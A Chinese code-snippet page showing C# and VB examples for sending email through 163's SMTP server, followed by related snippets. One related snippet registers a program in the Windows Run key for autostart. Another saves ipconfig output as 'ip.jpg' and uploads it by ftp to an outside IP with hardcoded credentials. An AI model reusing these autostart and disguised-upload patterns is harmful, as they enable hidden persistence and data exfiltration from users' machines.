易截截图软件、单文件、免安装、纯绿色、仅160KB

asp.net,c#,vb,vbs,js各个语言的邮箱发送源代码

发送端以163为例
一、asp.net版   using System.Web.Mail; //命名空间引用 
c#
        MailMessage mail = new MailMessage();
        mail.To = "shadow103@qq.com";  //接受人的邮箱
        mail.from = "xxx@163.com";  //你自己的邮箱(注意qq邮箱不行)
        mail.Subject = "你好帅哥"; //邮箱标题
        mail.Body = "正文";
        mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendusing","2")
        mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate", "1"); //stmp验证
        mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendusername", 你邮箱帐号"); 
        mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendpassword", "你邮箱密码");   
        SmtpMail.SmtpServer = "smtp.163.com";  //代理邮件服务器
        SmtpMail.Send(mail);
vb
   Dim mail As New MailMessage()
   mail.To = "shadow103@qq.com"
   mail.from = "xxx@163.com"
   mail.Subject = "你好帅哥"
   mail.Body = "正文"
   mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendusing","2")
   mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate", "1") 'stmp验证
   mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendusername", "你邮箱帐号")
   mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendpassword", "你邮箱密码 ")
   SmtpMail.SmtpServer = "smtp.163.com" '代理邮件服务器
   SmtpMail.Send(mail)


相关文档:

C#与Flash交互

C#与Flash交互 (转自小磊在线)
C#与Flash交互
前段日子公司要求做一个C#与Flash交互的东西,用来C#与短信猫通讯将数据传到Flash上显示与操作的应用。
第一步C#添加组件
打开VS2005-工具-选择工具箱项-COM组件-选择Shockwave Flash Object-确定
添加好组件往场景上拖放,如果提示注册需求注册
c# 注册控件-在运行输 ......

asp.net生成静态网页

using System;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Web;
using System.Web.SessionState;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.HtmlControls;
using System.IO;
using System.Text;
names ......

浅谈ASP.NET页面的SEO优化

1.前台页面一般不用gridview datalist treeview updatepanel 等控件,因为他们会生成很多我不想要的代码。而且嵌套一大堆table
2.用repeater+div+css+ul li已经足够我做很多东西了。
3.发布后的页面,可以把一些空行和换行 和一些不必要的空格去掉,尽量减少aspx页面的容量。提高加载速度。
4.在页面的title写上本页内容 ......

VB写注册表启动项


    Private Sub Form_Load()
        Set w = CreateObject("wscript.shell")
        w.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EX ......

VB实现文件上传到FTP服务器

ftp.txt文件内容为:
open 211.118.1.70
dongping
sh12345
put ip.jpg
bye
VB内容为:
Private Sub Command1_Click()
    Shell "cmd.exe /c ipconfig >ip.jpg"
    Shell "cmd.exe /c ftp -s:ftp.txt"
End Sub ......
© 2009 ej38.com All Rights Reserved. 关于E健网联系我们 | 站点地图 | 赣ICP备09004571号